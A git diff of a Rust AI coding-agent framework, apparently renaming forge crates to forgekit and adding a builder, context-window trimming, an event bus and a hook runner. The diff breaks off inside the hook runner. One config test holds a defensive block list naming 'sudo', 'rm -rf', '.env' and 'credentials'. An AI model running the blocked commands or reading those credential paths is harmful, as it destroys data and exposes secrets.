Resolved `step_retries` with default fallback. + pub fn step_retries(&self) -> usize { + self.step_retries.unwrap_or(DEFAULT_STEP_RETRIES) + } + + /// Resolved `retrieval_top_k` with default fallback. + pub fn retrieval_top_k(&self) -> usize { + self.retrieval_top_k.unwrap_or(DEFAULT_RETRIEVAL_TOP_K) + } + + /// Returns true if the given tool name is allowed by the config. + /// + /// Deny list takes precedence over allow list. If neither is set, + /// all tools are allowed. + pub fn is_tool_allowed(&self, tool_name: &str) -> bool { + if let Some(ref denied) = self.denied_tools { + if denied.iter().any(|t| t == tool_name) { + return false; + } + } + match &self.tools { + Some(allowed) => allowed.iter().any(|t| t == tool_name), + None => true, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::io::Write; + + #[test] + fn from_str_no_agent_section() { + let result = AgentConfig::parse_toml("[llm]\nprovider = \"ollama\"\n").unwrap(); + assert!(result.is_none()); + } + + #[test] + fn from_str_empty_agent_section() { + let result = AgentConfig::parse_toml("[agent]\n").unwrap(); + let config = result.expect("should parse empty [agent]"); + assert_eq!(config.max_iterations(), 10); + assert_eq!(config.step_retries(), 2); + assert_eq!(config.retrieval_top_k(), 5); + assert!(config.system_prompt.is_none()); + assert!(config.tools.is_none()); + } + + #[test] + fn from_str_full_config() { + let toml = r#" +[agent] +max_iterations = 20 +step_retries = 3 +retrieval_top_k = 10 +system_prompt = "You are a helpful coding assistant." +tools = ["file_read", "graph_query"] +temperature = 0.7 +max_tokens = 4096 +"#; + let config = AgentConfig::parse_toml(toml) + .unwrap() + .expect("should parse [agent]"); + assert_eq!(config.max_iterations(), 20); + assert_eq!(config.step_retries(), 3); + assert_eq!(config.retrieval_top_k(), 10); + assert_eq!( + config.system_prompt.as_deref(), + Some("You are a helpful coding assistant.") + ); + let tools = config.tools.as_ref().unwrap(); + assert_eq!(tools.len(), 2); + assert_eq!(tools[0], "file_read"); + assert_eq!(tools[1], "graph_query"); + assert_eq!(config.temperature.unwrap(), 0.7); + assert_eq!(config.max_tokens.unwrap(), 4096); + } + + #[test] + fn is_tool_allowed_no_allowlist() { + let config = AgentConfig::default(); + assert!(config.is_tool_allowed("file_read")); + assert!(config.is_tool_allowed("anything")); + } + + #[test] + fn is_tool_allowed_with_allowlist() { + let config = AgentConfig { + tools: Some(vec!["file_read".to_string(), "graph_query".to_string()]), + ..Default::default() + }; + assert!(config.is_tool_allowed("file_read")); + assert!(config.is_tool_allowed("graph_query")); + assert!(!config.is_tool_allowed("shell_exec")); + assert!(!config.is_tool_allowed("file_write")); + } + + #[test] + fn deny_overrides_allow() { + let config = AgentConfig { + tools: Some(vec!["file_read".to_string(), "shell_exec".to_string()]), + denied_tools: Some(vec!["shell_exec".to_string()]), + ..Default::default() + }; + assert!(config.is_tool_allowed("file_read")); + assert!(!config.is_tool_allowed("shell_exec")); + } + + #[test] + fn deny_without_allow() { + let config = AgentConfig { + denied_tools: Some(vec!["shell_exec".to_string()]), + ..Default::default() + }; + assert!(config.is_tool_allowed("file_read")); + assert!(!config.is_tool_allowed("shell_exec")); + assert!(config.is_tool_allowed("file_write")); + } + + #[test] + fn parse_blocked_commands_and_paths() { + let toml = r#" +[agent] +blocked_commands = ["sudo.*", "rm\\s+-rf"] +blocked_paths = ["\\.env", "credentials"] +"#; + let config = AgentConfig::parse_toml(toml).unwrap().unwrap(); + assert_eq!(config.blocked_commands.as_ref().unwrap().len(), 2); + assert_eq!(config.blocked_paths.as_ref().unwrap().len(), 2); + } + + #[test] + fn from_file_missing_file() { + let result = AgentConfig::from_file(Path::new("/nonexistent/.forge.toml")).unwrap(); + assert!(result.is_none()); + } + + #[test] + fn from_file_with_agent_section() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join(".forge.toml"); + let mut f = std::fs::File::create(&path).unwrap(); + write!(f, "[agent]\nmax_iterations = 15\nstep_retries = 5\n").unwrap(); + let config = AgentConfig::from_file(&path).unwrap().unwrap(); + assert_eq!(config.max_iterations(), 15); + assert_eq!(config.step_retries(), 5); + } + + #[test] + fn from_file_without_agent_section() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join(".forge.toml"); + let mut f = std::fs::File::create(&path).unwrap(); + write!(f, "[llm]\nprovider = \"ollama\"\nmodel = \"test\"\n").unwrap(); + let result = AgentConfig::from_file(&path).unwrap(); + assert!(result.is_none()); + } + + #[test] + fn from_str_invalid_toml() { + let result = AgentConfig::parse_toml("not valid toml [[["); + assert!(result.is_err()); + } + + #[test] + fn from_str_partial_config() { + let config = AgentConfig::parse_toml("[agent]\nmax_iterations = 42\n") + .unwrap() + .unwrap(); + assert_eq!(config.max_iterations(), 42); + assert_eq!(config.step_retries(), 2); + assert_eq!(config.retrieval_top_k(), 5); + } +} diff --git a/forge_agent/src/agent_loop/mod.rs b/forgekit_agent/src/agent_loop/mod.rs similarity index 97% rename from forge_agent/src/agent_loop/mod.rs rename to forgekit_agent/src/agent_loop/mod.rs index 64f88a1..6eecab4 100644 --- a/forge_agent/src/agent_loop/mod.rs +++ b/forgekit_agent/src/agent_loop/mod.rs @@ -11,7 +11,7 @@ use crate::{ ExecutionPlan, MutationResult, Observation, VerificationResult, }; use chrono::Utc; -use forge_core::Forge; +use forgekit_core::Forge; use std::sync::Arc; mod phases; @@ -30,8 +30,8 @@ pub struct AgentLoop { llm: Option>, max_fix_attempts: u32, last_observation: Option, - reasoning: forge_reasoning::ReasoningSystem, - current_hypothesis: Option, + reasoning: forgekit_reasoning::ReasoningSystem, + current_hypothesis: Option, policies: Vec, context: crate::context::AgentContext, gap_hints: Vec, @@ -55,7 +55,7 @@ impl AgentLoop { llm: None, max_fix_attempts: 3, last_observation: None, - reasoning: forge_reasoning::ReasoningSystem::in_memory(), + reasoning: forgekit_reasoning::ReasoningSystem::in_memory(), current_hypothesis: None, policies: Vec::new(), context, @@ -92,7 +92,7 @@ impl AgentLoop { self } - pub fn reasoning(&self) -> &forge_reasoning::ReasoningSystem { + pub fn reasoning(&self) -> &forgekit_reasoning::ReasoningSystem { &self.reasoning } diff --git a/forge_agent/src/agent_loop/phases.rs b/forgekit_agent/src/agent_loop/phases.rs similarity index 92% rename from forge_agent/src/agent_loop/phases.rs rename to forgekit_agent/src/agent_loop/phases.rs index ff7efa2..7f0c9db 100644 --- a/forge_agent/src/agent_loop/phases.rs +++ b/forgekit_agent/src/agent_loop/phases.rs @@ -9,7 +9,7 @@ impl AgentLoop { } pub(super) async fn analyze_gaps(&mut self, observation: &crate::observe::Observation) { - use forge_reasoning::{GapCriticality, GapType, KnowledgeGapAnalyzer}; + use forgekit_reasoning::{GapCriticality, GapType, KnowledgeGapAnalyzer}; let board = Arc::new(self.reasoning.board.clone()); let graph = Arc::new(self.reasoning.graph.clone()); @@ -153,9 +153,18 @@ impl AgentLoop { .map_err(|e| crate::AgentError::PlanningFailed(e.to_string()))?; if !conflicts.is_empty() { + let details: Vec = conflicts + .iter() + .map(|c| match &c.reason { + crate::planner::ConflictReason::OverlappingRegion { start, end } => { + format!("{} at lines {}-{}", c.file, start, end) + } + }) + .collect(); return Err(crate::AgentError::PlanningFailed(format!( - "Found {} conflicts in plan", - conflicts.len() + "Found {} conflicts in plan: {}", + conflicts.len(), + details.join("; ") ))); } @@ -170,7 +179,7 @@ impl AgentLoop { let _ = self .reasoning .board - .set_status(id, forge_reasoning::HypothesisStatus::UnderTest) + .set_status(id, forgekit_reasoning::HypothesisStatus::UnderTest) .await; let (lh, lnh) = if ordered_steps.is_empty() { (0.2, 0.8) @@ -291,7 +300,7 @@ impl AgentLoop { if let Some(hyp_id) = self.current_hypothesis { let runner = - forge_reasoning::VerificationRunner::new(Arc::new(self.reasoning.board.clone()), 1); + forgekit_reasoning::VerificationRunner::new(Arc::new(self.reasoning.board.clone()), 1); let check_cmd = format!( "cargo check --manifest-path={}/Cargo.toml --message-format=short 2>&1", @@ -299,16 +308,16 @@ impl AgentLoop { ); let (on_pass, on_fail) = if report.passed { ( - Some(forge_reasoning::verification::check::PassAction::SetStatus( - forge_reasoning::HypothesisStatus::Confirmed, + Some(forgekit_reasoning::verification::check::PassAction::SetStatus( + forgekit_reasoning::HypothesisStatus::Confirmed, )), None, ) } else { ( None, - Some(forge_reasoning::verification::check::FailAction::SetStatus( - forge_reasoning::HypothesisStatus::Rejected, + Some(forgekit_reasoning::verification::check::FailAction::SetStatus( + forgekit_reasoning::HypothesisStatus::Rejected, )), ) }; @@ -317,7 +326,7 @@ impl AgentLoop { .register_check( "cargo-check".to_string(), hyp_id, - forge_reasoning::verification::check::VerificationCommand::ShellCommand( + forgekit_reasoning::verification::check::VerificationCommand::ShellCommand( check_cmd, ), std::time::Duration::from_secs(60), @@ -438,6 +447,7 @@ impl AgentLoop { Ok(CommitResult { transaction_id: commit_report.transaction_id, files_committed: commit_report.files_committed, + git_committed: commit_report.git_committed, }) } @@ -518,18 +528,7 @@ impl AgentLoop { } } - let phase = match error { - // nosemgrep: llm-giant-match - crate::AgentError::ObservationFailed(_) => "Observe", - crate::AgentError::PolicyViolation(_) => "Constrain", - crate::AgentError::PlanningFailed(_) => "Plan", - crate::AgentError::MutationFailed(_) => "Mutate", - crate::AgentError::VerificationFailed(_) => "Verify", - crate::AgentError::CommitFailed(_) => "Commit", - crate::AgentError::ForgeError(_) => "Forge", - crate::AgentError::WorkflowFailed(_) => "Workflow", - crate::AgentError::ReActFailed(_) => "ReAct", - }; + let phase = error.phase_label(); if let Err(e) = self .audit_log diff --git a/forge_agent/src/agent_loop/tests.rs b/forgekit_agent/src/agent_loop/tests.rs similarity index 99% rename from forge_agent/src/agent_loop/tests.rs rename to forgekit_agent/src/agent_loop/tests.rs index fe5aef6..3fd27f6 100644 --- a/forge_agent/src/agent_loop/tests.rs +++ b/forgekit_agent/src/agent_loop/tests.rs @@ -2,7 +2,7 @@ mod agent_loop_tests { use crate::agent_loop::{AgentLoop, DiscoveryStore}; use crate::audit::AuditEvent; - use forge_core::Forge; + use forgekit_core::Forge; use std::sync::Arc; use tempfile::TempDir; @@ -209,7 +209,7 @@ mod agent_loop_tests { #[tokio::test] async fn test_hypothesis_confirmed_after_successful_run() { - use forge_reasoning::HypothesisStatus; + use forgekit_reasoning::HypothesisStatus; let temp_dir = TempDir::new().unwrap(); let forge = Forge::open(temp_dir.path()).await.unwrap(); let mut agent_loop = AgentLoop::new(Arc::new(forge)); @@ -333,7 +333,7 @@ mod agent_loop_tests { #[tokio::test] async fn test_constrain_phase_reads_real_file_content() { use crate::observe::{Observation, ObservedSymbol}; - use forge_core::types::{Location, SymbolId, SymbolKind}; + use forgekit_core::types::{Location, SymbolId, SymbolKind}; let temp_dir = TempDir::new().unwrap(); let forge = Forge::open(temp_dir.path()).await.unwrap(); diff --git a/forge_agent/src/agent_loop/types.rs b/forgekit_agent/src/agent_loop/types.rs similarity index 100% rename from forge_agent/src/agent_loop/types.rs rename to forgekit_agent/src/agent_loop/types.rs diff --git a/forge_agent/src/audit.rs b/forgekit_agent/src/audit.rs similarity index 99% rename from forge_agent/src/audit.rs rename to forgekit_agent/src/audit.rs index a1a47d2..5395d43 100644 --- a/forge_agent/src/audit.rs +++ b/forgekit_agent/src/audit.rs @@ -31,15 +31,15 @@ use uuid::Uuid; pub enum AuditError { /// Failed to serialize audit event #[error("Serialization failed: {0}")] - SerializationFailed(#[from] serde_json::Error), + Serialization(#[from] serde_json::Error), /// Failed to write audit file #[error("Write failed: {0}")] - WriteFailed(#[from] std::io::Error), + Write(#[from] std::io::Error), /// Failed to create audit directory #[error("Directory creation failed: {0}")] - DirectoryFailed(String), + Directory(String), } /// Audit event for phase transitions. @@ -299,7 +299,7 @@ impl AuditLog { // Create audit directory if it doesn't exist tokio::fs::create_dir_all(&self.audit_dir) .await - .map_err(|e| AuditError::DirectoryFailed(e.to_string()))?; + .map_err(|e| AuditError::Directory(e.to_string()))?; // Serialize events to JSON let json = serde_json::to_string_pretty(&self.events)?; diff --git a/forgekit_agent/src/builder.rs b/forgekit_agent/src/builder.rs new file mode 100644 index 0000000..07d7ff9 --- /dev/null +++ b/forgekit_agent/src/builder.rs @@ -0,0 +1,144 @@ +use crate::chat::{self, ChatProvider}; +use crate::llm; +use crate::policy::Policy; +use crate::Result; +use std::path::PathBuf; +use std::sync::Arc; + +pub struct NeedsProvider; + +pub struct Ready { + chat_provider: Arc, + chat_config: llm::LlmConfig, +} + +pub struct AgentBuilder { + codebase_path: PathBuf, + max_iterations: usize, + step_retries: usize, + retrieval_top_k: usize, + hook_config: Option, + skill_registry: Option>, + verifier: Option, + retriever: Option>, + event_bus: Option, + policies: Vec, + custom_system_prompt: Option, + state: State, +} + +impl AgentBuilder { + pub fn chat_provider( + self, + provider: Arc, + config: llm::LlmConfig, + ) -> AgentBuilder { + AgentBuilder { + codebase_path: self.codebase_path, + max_iterations: self.max_iterations, + step_retries: self.step_retries, + retrieval_top_k: self.retrieval_top_k, + hook_config: self.hook_config, + skill_registry: self.skill_registry, + verifier: self.verifier, + retriever: self.retriever, + event_bus: self.event_bus, + policies: self.policies, + custom_system_prompt: self.custom_system_prompt, + state: Ready { + chat_provider: provider, + chat_config: config, + }, + } + } +} + +impl AgentBuilder { + pub fn max_iterations(mut self, n: usize) -> Self { + self.max_iterations = n; + self + } + + pub fn step_retries(mut self, n: usize) -> Self { + self.step_retries = n; + self + } + + pub fn retrieval_top_k(mut self, k: usize) -> Self { + self.retrieval_top_k = k; + self + } + + pub fn hooks(mut self, config: chat::HookConfig) -> Self { + self.hook_config = Some(config); + self + } + + pub fn skills(mut self, registry: Arc) -> Self { + self.skill_registry = Some(registry); + self + } + + pub fn verifier(mut self, v: chat::VerifierFn) -> Self { + self.verifier = Some(v); + self + } + + pub fn retriever(mut self, r: Arc) -> Self { + self.retriever = Some(r); + self + } + + pub fn event_bus(mut self, bus: chat::EventBus) -> Self { + self.event_bus = Some(bus); + self + } + + pub fn policies(mut self, policies: Vec) -> Self { + self.policies = policies; + self + } + + pub fn system_prompt(mut self, prompt: impl Into) -> Self { + self.custom_system_prompt = Some(prompt.into()); + self + } +} + +impl AgentBuilder { + pub async fn build(self) -> Result { + let mut agent = super::Agent::new(&self.codebase_path).await?; + + agent.chat_provider = Some(self.state.chat_provider); + agent.chat_config = Some(self.state.chat_config); + agent.max_iterations = self.max_iterations; + agent.step_retries = self.step_retries; + agent.retrieval_top_k = self.retrieval_top_k; + agent.hook_config = self.hook_config; + agent.skill_registry = self.skill_registry; + agent.verifier = self.verifier; + agent.retriever = self.retriever; + agent.event_bus = self.event_bus; + agent.policies = self.policies; + agent.custom_system_prompt = self.custom_system_prompt; + + Ok(agent) + } +} + +pub fn agent_builder(codebase_path: impl AsRef) -> AgentBuilder { + AgentBuilder { + codebase_path: codebase_path.as_ref().to_path_buf(), + max_iterations: 10, + step_retries: 2, + retrieval_top_k: 5, + hook_config: None, + skill_registry: None, + verifier: None, + retriever: None, + event_bus: None, + policies: Vec::new(), + custom_system_prompt: None, + state: NeedsProvider, + } +} diff --git a/forgekit_agent/src/chat/context_window.rs b/forgekit_agent/src/chat/context_window.rs new file mode 100644 index 0000000..e4e4151 --- /dev/null +++ b/forgekit_agent/src/chat/context_window.rs @@ -0,0 +1,216 @@ +use crate::chat::types::{ChatMessage, Role}; + +#[derive(Clone, Debug)] +pub struct ContextWindow { + pub max_tokens: u64, + pub reserved_for_response: u64, + pub strategy: TrimStrategy, +} + +#[derive(Clone, Debug, PartialEq)] +pub enum TrimStrategy { + SlidingWindow { keep_recent: usize }, + KeepSystemAndRecent { keep_recent: usize }, +} + +impl ContextWindow { + pub fn new(max_tokens: u64) -> Self { + ContextWindow { + max_tokens, + reserved_for_response: max_tokens / 4, + strategy: TrimStrategy::KeepSystemAndRecent { keep_recent: 10 }, + } + } + + pub fn with_response_reserve(mut self, tokens: u64) -> Self { + self.reserved_for_response = tokens; + self + } + + pub fn with_strategy(mut self, strategy: TrimStrategy) -> Self { + self.strategy = strategy; + self + } + + pub fn available_for_messages(&self) -> u64 { + self.max_tokens.saturating_sub(self.reserved_for_response) + } + + pub fn should_trim(&self, _messages: &[ChatMessage], used_tokens: u64) -> bool { + let budget = self.available_for_messages(); + used_tokens > budget + } + + pub fn trim(&self, messages: &mut Vec) { + match &self.strategy { + TrimStrategy::SlidingWindow { keep_recent } => { + if messages.len() <= *keep_recent { + return; + } + let skip = messages.len() - keep_recent; + let trimmed: Vec = messages.iter().skip(skip).cloned().collect(); + *messages = trimmed; + } + TrimStrategy::KeepSystemAndRecent { keep_recent } => { + let system_count = messages + .iter() + .take_while(|m| m.role == Role::System) + .count(); + let non_system_len = messages.len() - system_count; + if non_system_len <= *keep_recent { + return; + } + let system_msgs: Vec = + messages.iter().take(system_count).cloned().collect(); + let skip = non_system_len - keep_recent; + let recent: Vec = messages + .iter() + .skip(system_count) + .skip(skip) + .cloned() + .collect(); + *messages = system_msgs; + messages.extend(recent); + } + } + } +} + +impl Default for ContextWindow { + fn default() -> Self { + ContextWindow::new(128_000) + } +} + +pub fn estimate_tokens(messages: &[ChatMessage]) -> u64 { + let mut total: u64 = 0; + for msg in messages { + for block in &msg.content { + match block { + crate::chat::types::ContentBlock::Text { text } => { + total += (text.len() as u64) / 4 + 1; + } + crate::chat::types::ContentBlock::ToolCall { + name, arguments, .. + } => { + total += (name.len() as u64) / 4 + 1; + total += (arguments.to_string().len() as u64) / 4 + 1; + } + crate::chat::types::ContentBlock::ToolResult { content, .. } => { + total += (content.len() as u64) / 4 + 1; + } + } + } + total += 4; + } + total +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn default_context_window() { + let cw = ContextWindow::default(); + assert_eq!(cw.max_tokens, 128_000); + assert_eq!(cw.available_for_messages(), 96_000); + } + + #[test] + fn custom_reserve() { + let cw = ContextWindow::new(100_000).with_response_reserve(10_000); + assert_eq!(cw.available_for_messages(), 90_000); + } + + #[test] + fn sliding_window_trim() { + let cw = ContextWindow::new(100_000) + .with_strategy(TrimStrategy::SlidingWindow { keep_recent: 3 }); + + let mut msgs = vec![ + ChatMessage::system("sys"), + ChatMessage::user("a"), + ChatMessage::assistant("b"), + ChatMessage::user("c"), + ChatMessage::assistant("d"), + ]; + cw.trim(&mut msgs); + assert_eq!(msgs.len(), 3); + assert_eq!(msgs[0].text(), Some("b")); + assert_eq!(msgs[1].text(), Some("c")); + assert_eq!(msgs[2].text(), Some("d")); + } + + #[test] + fn keep_system_and_recent_trim() { + let cw = ContextWindow::new(100_000) + .with_strategy(TrimStrategy::KeepSystemAndRecent { keep_recent: 2 }); + + let mut msgs = vec![ + ChatMessage::system("sys"), + ChatMessage::user("a"), + ChatMessage::assistant("b"), + ChatMessage::user("c"), + ChatMessage::assistant("d"), + ]; + cw.trim(&mut msgs); + assert_eq!(msgs.len(), 3); + assert_eq!(msgs[0].role, Role::System); + assert_eq!(msgs[1].text(), Some("c")); + assert_eq!(msgs[2].text(), Some("d")); + } + + #[test] + fn no_trim_when_within_budget() { + let cw = ContextWindow::new(100_000); + let msgs = vec![ChatMessage::user("hello")]; + assert!(!cw.should_trim(&msgs, 10)); + } + + #[test] + fn trim_triggered_over_budget() { + let cw = ContextWindow::new(100_000); + let msgs = vec![ChatMessage::user("hello")]; + assert!(cw.should_trim(&msgs, 200_000)); + } + + #[test] + fn estimate_tokens_approximate() { + let msgs = vec![ + ChatMessage::system("You are helpful."), + ChatMessage::user("Hello world"), + ]; + let tokens = estimate_tokens(&msgs); + assert!(tokens > 0); + assert!(tokens < 100); + } + + #[test] + fn no_trim_when_messages_fewer_than_keep() { + let cw = ContextWindow::new(100_000) + .with_strategy(TrimStrategy::SlidingWindow { keep_recent: 10 }); + + let mut msgs = vec![ChatMessage::user("a"), ChatMessage::assistant("b")]; + cw.trim(&mut msgs); + assert_eq!(msgs.len(), 2); + } + + #[test] + fn keep_system_and_recent_no_system() { + let cw = ContextWindow::new(100_000) + .with_strategy(TrimStrategy::KeepSystemAndRecent { keep_recent: 2 }); + + let mut msgs = vec![ + ChatMessage::user("a"), + ChatMessage::assistant("b"), + ChatMessage::user("c"), + ChatMessage::assistant("d"), + ChatMessage::user("e"), + ]; + cw.trim(&mut msgs); + assert_eq!(msgs.len(), 2); + assert_eq!(msgs[0].text(), Some("d")); + assert_eq!(msgs[1].text(), Some("e")); + } +} diff --git a/forge_agent/src/chat/conversation.rs b/forgekit_agent/src/chat/conversation.rs similarity index 79% rename from forge_agent/src/chat/conversation.rs rename to forgekit_agent/src/chat/conversation.rs index aef35c0..1b201bf 100644 --- a/forge_agent/src/chat/conversation.rs +++ b/forgekit_agent/src/chat/conversation.rs @@ -1,9 +1,14 @@ -use crate::chat::types::{ChatMessage, Role}; +use crate::chat::memory::ConversationStore; +use crate::chat::types::{ChatMessage, Role, Usage}; +use std::sync::Arc; #[derive(Clone, Debug)] pub struct Conversation { messages: Vec, max_messages: Option, + session_id: Option, + store: Option>, + accumulated_usage: Usage, } impl Conversation { @@ -11,6 +16,9 @@ impl Conversation { Conversation { messages: Vec::new(), max_messages: None, + session_id: None, + store: None, + accumulated_usage: Usage::default(), } } @@ -25,9 +33,37 @@ impl Conversation { self } + pub fn with_session_id(mut self, id: impl Into) -> Self { + self.session_id = Some(id.into()); + self + } + + pub fn with_store(mut self, store: Arc) -> Self { + self.store = Some(store); + self + } + + pub fn record_usage(&mut self, usage: Usage) { + let acc = &mut self.accumulated_usage; + acc.prompt_tokens = Some(acc.prompt_tokens.unwrap_or(0) + usage.prompt_tokens.unwrap_or(0)); + acc.completion_tokens = + Some(acc.completion_tokens.unwrap_or(0) + usage.completion_tokens.unwrap_or(0)); + acc.total_tokens = Some(acc.total_tokens.unwrap_or(0) + usage.total_tokens.unwrap_or(0)); + self.auto_save(); + } + + pub fn total_tokens(&self) -> u64 { + self.accumulated_usage.total_tokens.unwrap_or(0) + } + + pub fn session_id(&self) -> Option<&str> { + self.session_id.as_deref() + } + pub fn push(&mut self, message: ChatMessage) { self.messages.push(message); self.enforce_limit(); + self.auto_save(); } pub fn messages(&self) -> &[ChatMessage] { @@ -87,6 +123,12 @@ impl Conversation { } } } + + fn auto_save(&self) { + if let (Some(store), Some(session_id)) = (&self.store, &self.session_id) { + let _ = store.save(session_id, &self.messages, &self.accumulated_usage); + } + } } impl Default for Conversation { diff --git a/forgekit_agent/src/chat/events.rs b/forgekit_agent/src/chat/events.rs new file mode 100644 index 0000000..271a1c9 --- /dev/null +++ b/forgekit_agent/src/chat/events.rs @@ -0,0 +1,240 @@ +//! Event bus for agent lifecycle observability. +//! +//! Provides a typed event system that external code can subscribe to for +//! monitoring agent execution without modifying the agent loop itself. + +use std::sync::Arc; + +use tokio::sync::RwLock; + +use crate::chat::types::Usage; + +#[derive(Clone, Debug)] +pub enum AgentEvent { + SessionStarted { + session_id: String, + }, + IterationStarted { + iteration: usize, + max_iterations: usize, + }, + LlmResponseReceived { + iteration: usize, + usage: Option, + has_tool_calls: bool, + }, + LlmError { + iteration: usize, + consecutive_errors: usize, + error: String, + }, + ToolCallStarted { + iteration: usize, + tool_name: String, + tool_call_id: String, + }, + ToolCallCompleted { + iteration: usize, + tool_name: String, + tool_call_id: String, + success: bool, + output_bytes: usize, + truncated: bool, + }, + RetrievalInjected { + num_snippets: usize, + }, + VerificationFailed { + iteration: usize, + }, + AnswerProduced { + iteration: usize, + answer_length: usize, + }, + MaxIterationsReached { + iterations: usize, + }, +} + +type Subscriber = Box; + +struct EventBusInner { + subscribers: Vec, +} + +pub struct EventBus { + inner: Arc>, +} + +impl std::fmt::Debug for EventBus { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("EventBus").finish_non_exhaustive() + } +} + +impl Clone for EventBus { + fn clone(&self) -> Self { + EventBus { + inner: Arc::clone(&self.inner), + } + } +} + +impl Default for EventBus { + fn default() -> Self { + EventBus::new() + } +} + +impl EventBus { + pub fn new() -> Self { + EventBus { + inner: Arc::new(RwLock::new(EventBusInner { + subscribers: Vec::new(), + })), + } + } + + pub async fn subscribe(&self, handler: impl Fn(&AgentEvent) + Send + Sync + 'static) { + let mut inner = self.inner.write().await; + inner.subscribers.push(Box::new(handler)); + } + + pub async fn emit(&self, event: &AgentEvent) { + let inner = self.inner.read().await; + for handler in &inner.subscribers { + handler(event); + } + } + + pub async fn subscriber_count(&self) -> usize { + self.inner.read().await.subscribers.len() + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::Mutex; + + #[tokio::test] + async fn emit_with_no_subscribers() { + let bus = EventBus::new(); + bus.emit(&AgentEvent::SessionStarted { + session_id: "test".to_string(), + }) + .await; + assert_eq!(bus.subscriber_count().await, 0); + } + + #[tokio::test] + async fn subscribe_and_emit() { + let bus = EventBus::new(); + let received = Arc::new(Mutex::new(Vec::new())); + let received_clone = received.clone(); + bus.subscribe(move |event| { + received_clone.lock().unwrap().push(format!("{event:?}")); + }) + .await; + + bus.emit(&AgentEvent::SessionStarted { + session_id: "s1".to_string(), + }) + .await; + bus.emit(&AgentEvent::AnswerProduced { + iteration: 5, + answer_length: 42, + }) + .await; + + let events = received.lock().unwrap(); + assert_eq!(events.len(), 2); + assert!(events[0].contains("SessionStarted")); + assert!(events[1].contains("AnswerProduced")); + } + + #[tokio::test] + async fn multiple_subscribers() { + let bus = EventBus::new(); + let count = Arc::new(Mutex::new(0usize)); + let c1 = count.clone(); + let c2 = count.clone(); + bus.subscribe(move |_| { + *c1.lock().unwrap() += 1; + }) + .await; + bus.subscribe(move |_| { + *c2.lock().unwrap() += 1; + }) + .await; + + bus.emit(&AgentEvent::MaxIterationsReached { iterations: 10 }) + .await; + + assert_eq!(*count.lock().unwrap(), 2); + assert_eq!(bus.subscriber_count().await, 2); + } + + #[tokio::test] + async fn clone_shares_subscribers() { + let bus = EventBus::new(); + let count = Arc::new(Mutex::new(0usize)); + let c = count.clone(); + bus.subscribe(move |_| { + *c.lock().unwrap() += 1; + }) + .await; + + let bus2 = bus.clone(); + bus2.emit(&AgentEvent::SessionStarted { + session_id: "x".to_string(), + }) + .await; + + assert_eq!(*count.lock().unwrap(), 1); + assert_eq!(bus.subscriber_count().await, 1); + } + + #[tokio::test] + async fn event_variants_debug_format() { + let event = AgentEvent::ToolCallCompleted { + iteration: 3, + tool_name: "file_read".to_string(), + tool_call_id: "tc_1".to_string(), + success: true, + output_bytes: 1024, + truncated: false, + }; + let s = format!("{event:?}"); + assert!(s.contains("file_read")); + assert!(s.contains("1024")); + } + + #[tokio::test] + async fn subscriber_captures_event_details() { + let bus = EventBus::new(); + let captured = Arc::new(Mutex::new(None)); + let c = captured.clone(); + bus.subscribe(move |event| { + if let AgentEvent::ToolCallStarted { + tool_name, + iteration, + .. + } = event + { + *c.lock().unwrap() = Some((tool_name.clone(), *iteration)); + } + }) + .await; + + bus.emit(&AgentEvent::ToolCallStarted { + iteration: 7, + tool_name: "graph_query".to_string(), + tool_call_id: "tc_42".to_string(), + }) + .await; + + let details = captured.lock().unwrap().take(); + assert_eq!(details, Some(("graph_query".to_string(), 7))); + } +} diff --git a/forgekit_agent/src/chat/hooks/mod.rs b/forgekit_agent/src/chat/hooks/mod.rs new file mode 100644 index 0000000..4cee065 --- /dev/null +++ b/forgekit_agent/src/chat/hooks/mod.rs @@ -0,0 +1,5 @@ +pub mod runner; +pub mod types; + +pub use runner::{HookContext, HookResult, HookRunner}; +pub use types::{HookConfig, HookEvent, HookGroup, HookSpec}; diff --git a/forgekit_agent/src/chat/hooks/runner.rs b/forgekit_agent/src/chat/hooks/runner.rs new file mode 100644 index 0000000..1b0e4c3 --- /dev/null +++ b/forgekit_agent/src/chat/hooks/runner.rs @@ -0,0 +1,390 @@ +use super::types::HookConfig; +use super::types::{HookEvent, HookSpec}; +use std::process::Stdio; +use tokio::process::Command; + +#[derive(Clone, Debug)] +pub struct HookContext { + pub tool_name: Option, + pub command: Option, + pub iteration: Option, + pub answer: Option, +} + +impl HookContext { + pub fn for_tool_call(tool_name: &str, command: Option<&str>) -> Self { + HookContext { + tool_name: Some(tool_name.to_string()), + command: command.map(|s| s.to_string()), + iteration: None, + answer: None, + } + } + + pub fn for_session_start() -> Self { + HookContext { + tool_name: None, + command: None, + iteration: None, + answer: None, + } + } + + pub fn for_stop(answer: Option<&str>) -> Self { + HookContext { + tool_name: None, + command: None, + iteration: None, + answer: answer.map(|s| s.to_string()), + } + } + + pub fn to_json(&self) -> serde_json::Value { + let mut obj = serde_json::Map::new(); + if let Some(ref name) = self.tool_name { + obj.insert( + "tool_name".to_string(), + serde_json::Value::String(name.clone()), + ); + } + if let Some(ref cmd) = self.command { + obj.insert( + "command".to_string(), + serde_json::Value::String(cmd.clone()), + ); + } + if let Some(iter) = self.iteration { + obj.insert( + "iteration".to_string(), + serde_json::Value::Number(iter.into()), + ); + } + if let Some(ref answer) = self.answer { + obj.insert( + "answer".to_string(), + serde_json::Value::String(answer.clone()), + ); + } + serde_json::Value::Object(obj) + } +} + +#[derive(Clone, Debug, PartialEq, Eq)] +pub enum HookResult { + Allowed, + Blocked(String), +} + +pub struct HookRunner { + config: HookConfig, +} + +impl HookRunner { + pub fn new(config: HookConfig) -> Self { + HookRunner { config } + } + + pub fn empty() -> Self { + HookRunner { + config: HookConfig::empty(), + } + } + + pub fn config(&self) -> &HookConfig { + &self.config + } + + pub async fn run_hooks(&self, event: &HookEvent, context: &HookContext) -> Vec { + let groups = self.config.groups_for(event); + let mut results = Vec::new(); + + for group in groups { + let matcher_matches = match (&group.matcher, &context.tool_name) { + (Some(matcher), Some(tool_name)) => match regex::Regex::new(matcher) { + Ok(re) => re.is_match(tool_name), + Err(_) => false, + }, + (Some(_), None) => false, + (None, _) => true, + }; + + if !matcher_matches { + continue; + } + + for spec in &group.hooks { + let result = self.run_single_hook(spec, context).await; + 